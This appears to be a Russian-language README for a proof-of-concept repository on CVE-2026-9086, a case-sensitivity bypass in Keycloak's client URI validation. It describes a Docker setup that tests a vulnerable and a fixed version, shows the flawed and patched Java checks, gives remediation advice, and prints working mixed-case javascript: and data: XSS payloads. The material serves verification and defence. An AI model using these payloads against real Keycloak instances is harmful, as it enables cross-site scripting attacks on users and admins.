
Концепт-доказательство (PoC) для CVE-2026-9086 — обход проверки URI клиента Keycloak с помощью XSS-пейлоадов javascript: и data: в смешанном регистре, с проверкой уязвимой и исправленной версий на основе Docker.
Этот репозиторий содержит Proof of Concept (PoC) для уязвимости межсайтового скриптинга (XSS) CVE-2026-9086 в проверке URI клиента в Keycloak.
Уязвимый Keycloak проверял схемы javascript: и data: в URI, задаваемых для клиентов, с учётом регистра. Поэтому использование смешанного регистра, например jaVaSCript: или DaTa:, позволяет обойти проверку запрещённых схем. Поскольку браузер интерпретирует схемы URI без учёта регистра, переход жертвы по специально созданной ссылке может привести к выполнению JavaScript в origin Keycloak.
Данный PoC запускает Keycloak 26.6.3 (уязвимая версия) и 26.6.4 (исправленная версия) в Docker и регистрирует один и тот же URI смешанного регистра через Admin REST API. Проверяется, что в уязвимой версии регистрация проходит успешно, а в исправленной отклоняется с HTTP 400.
Данный PoC не открывает зарегистрированный URI в браузере и не выполняет JavaScript.
Этот проект предназначен исключительно для образовательных целей и санкционированных проверок безопасности. Не используйте его для несанкционированного тестирования чужих сред Keycloak. Автор не несёт никакой ответственности за неправомерное использование, ущерб или противоправные действия, связанные с данным инструментом.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client или доступ к endpoint регистрации клиентовДо исправления DefaultClientValidationProvider сравнивал запрещённые схемы с помощью String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
Поскольку java.net.URI#getScheme() сохраняет регистр входных данных, следующие URI не совпадают при сравнении и проходят проверку.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
В исправленной версии используется equalsIgnoreCase().
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Запустите уязвимую и исправленную версии с помощью Docker Compose.
docker compose up -d
Запускаемые экземпляры:
| URL | Версия | Ожидаемый результат |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | Регистрация URI успешна (уязвимая) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (исправленная) |
Первый запуск занимает некоторое время. Проверить состояние можно следующей командой.
docker compose logs -f
Когда в обоих логах появится Listening on, завершите просмотр логов нажатием Ctrl+C.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Ожидаемый вывод:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
Скрипт дополнительно получает созданного клиента через Admin API и проверяет, что подконтрольный URI был сохранён.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Ожидаемый вывод:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:Указание --scheme data позволяет проверить URI DaTa: смешанного регистра.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py выполняет только следующие действия.
admin-clijaVaSCript: или DaTa: смешанного регистра в redirectUris/admin/realms/master/clientsЗапуск браузера, переход на зарегистрированный URI и выполнение JavaScript не выполняются.
Обновите Keycloak 26.6 до версии 26.6.4 или новее, а Red Hat build of Keycloak 26.4 — до версии 26.4.13 или новее.
Кроме того, проведите аудит настроек URI существующих клиентов и удалите значения, использующие javascript: или data: независимо от регистра. Также ограничьте разрешение manage-client и доступ к endpoint регистрации клиентов минимально необходимым уровнем.